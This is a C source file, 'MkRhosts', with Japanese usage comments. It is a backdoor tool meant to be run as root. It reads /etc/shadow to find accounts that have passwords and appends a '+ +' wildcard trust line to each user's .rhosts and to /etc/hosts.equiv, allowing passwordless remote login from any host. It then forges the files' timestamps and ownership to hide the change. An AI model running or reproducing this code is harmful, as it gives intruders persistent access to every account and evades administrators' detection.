/*=========================================================
                         MkRhosts
                     Programmed by UNYUN
[使い方]
 コンパイル後rootで実行すると、全ユーザのホームに"+ +"され
 た.rhosts、および"+ +"の/etc/hosts.equivエントリが追加。
 日付、User、Owner等もちゃんと合わせる
  =========================================================
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <utime.h>
#include <stdio.h>
#include <pwd.h>

#define PASSWORD_FILE   "/etc/shadow"
#define HOSTS_EQUIV     "/etc/hosts.equiv"
#define PASSWORD_WIDTH  100

int existpasswd(char *name)
{
    FILE    *fp;
    char    buf[PASSWORD_WIDTH];
    int        i,j,c;

    if ((fp=fopen(PASSWORD_FILE,"r"))==NULL) return(-1);
    for (;;){
        if (feof(fp)) break;
        for (i=0;i<PASSWORD_WIDTH-1;i++){
            if (feof(fp)) break;
            if ((c=getc(fp))=='\n') break;
            else buf[i]=c;
        }
        for (j=0;j<i;j++) if (buf[j]==':') break;
        buf[j]='\0';
        if (buf[j+1]!=':' && buf[j+1]!='*'
           && strncmp(buf+j+1,"NP",2) && !strcmp(buf,name)){
              fclose(fp); return(1);
        }
    }
    fclose(fp);
    return(-1);
}
void add_rhosts(struct passwd *p)
{
    struct stat     st;
    struct utimbuf  ut;
    char            buf[100],tmp[100],tmp2[100];
    int             i;
    static char     *gnfile[]={".login",".chsrc",".bashrc",".",""};
    FILE            *fp;

    strcpy(tmp,p->pw_dir);
    if (*(p->pw_dir+strlen(p->pw_dir)-1)!='/')
         strcat(tmp,"/");
    sprintf(buf,"%s.rhosts",tmp);
    st.st_atime=0;
    if (stat(buf,&st)==-1)
         for (i=0;;i++){
             if (gnfile[i][0]==0) break;
             sprintf(tmp2,"%s%s",tmp,gnfile[i]);
             if (stat(tmp2,&st)!=-1) break; 
         } 
    if ((fp=fopen(buf,"a"))==NULL) return;
    fprintf(fp,"+ +\n");
    fclose(fp);
    printf("%s\n",buf);
    if ((ut.actime=st.st_atime)!=0){
         ut.modtime=st.st_mtime;
         utime(buf,&ut);
         chown(buf,st.st_uid,st.st_gid);
    }
}
main()
{
    struct passwd   *p;
    static char     *gnfile[]={"/etc/hosts","/etc/services","/.",""};
    FILE            *fp;
    struct stat     st;
    struct utimbuf  ut;
    int             i;

    setpwent();
    for (;;){
        if ((p=getpwent())==NULL) break;
        if (strlen(p->pw_shell)==0) continue;
        if (existpasswd(p->pw_name)!=1) continue;
        add_rhosts(p);
    }
    endpwent();
    st.st_atime=0;
    if (stat(HOSTS_EQUIV,&st)==-1)
         for (i=0;;i++){
             if (gnfile[i][0]==0) break;
             if (stat(gnfile[i],&st)!=-1) break; 
         } 
    if ((fp=fopen(HOSTS_EQUIV,"a"))==NULL) return;
    fprintf(fp,"+ +\n");
    fclose(fp);
    printf("%s\n",HOSTS_EQUIV);
    if ((ut.actime=st.st_atime)!=0){
         ut.modtime=st.st_mtime;
         utime(HOSTS_EQUIV,&ut);
         chown(HOSTS_EQUIV,st.st_uid,st.st_gid);
    }
}